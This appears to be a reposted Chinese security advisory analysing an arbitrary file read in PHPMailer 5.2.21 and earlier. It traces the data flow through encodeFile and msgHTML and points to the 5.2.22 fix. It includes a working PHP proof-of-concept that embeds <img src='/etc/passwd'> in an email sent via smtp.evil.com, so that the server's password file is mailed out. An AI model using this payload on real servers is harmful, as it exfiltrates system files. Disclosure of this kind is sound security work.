详情来源:http://www.freebuf.com/vuls/124820.html
作者:Yxlink
影响版本:
PHPMailer <= 5.2.21
高危
漏洞文件函数: class.phpmailer.php 的encodeFile函数。
该函数中接收了一个 $path
变量,最后该 $path
变量的值带入到了 file_get_contents
函数中执行。如果该$path变量可控即可任意文件读取:
通过跟踪发现AddAttachment 和AddEmbeddedImage 函数最后会调用到encode File函数。 AddAttachment函数的作用是在邮件中发送附件的,如果附件名称可控即可触发该漏洞。
主要来看AddEmbeddedImage函数,该函数是处理邮件内容中的图片的,现在只要$path可控即可触发该漏洞。现在就是寻找可控点:
回溯该函数发现msgHTML函数调用了该函数,msgHTML 函数是用来发送html格式的邮件,调用过程如下:
回溯 $filename
看其是否可控,从代码中可以看出$filename是由$url赋值的。即:$filename = basename($url);
再来跟踪 $url:
$url
是通过解析$message
里src=”xxxxx”而来的,$url最终被解析出来就是xxxxx,而 $message
就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。
<?php
#Author:Yxlink
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "smtp.evil.com";
$mail->Port = 25;
$mail->SMTPAuth = true;
$mail->CharSet = "UTF-8";
$mail->Encoding = "base64";
$mail->Username = "test@evil.com";
$mail->Password = "tes1234t";
$mail->Subject = "hello";
$mail->From = "test@evil.com";
$mail->FromName = "test";
$address = "testtest@test.com";
$mail->AddAddress($address, "test");
$mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取
$mail->IsHTML(true);
$msg="<img src='/etc/passwd'>test";//邮件内容形如这样写。
$mail->msgHTML($msg);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>
用$msg的内容给自己的邮箱发一封邮件,即可获取到服务器的/etc/passwd的内容。如图:
暂无临时解决方案
漏洞详情目前已经提交给了PHPMailer官方,官方也已经发布了PHPMailer 5.2.22紧急安全修复,解决上述问题,受影响的用户应当立即升级:
https://github.com/PHPMailer/PHPMailer
详情可参见:
https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md
https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
暂无评论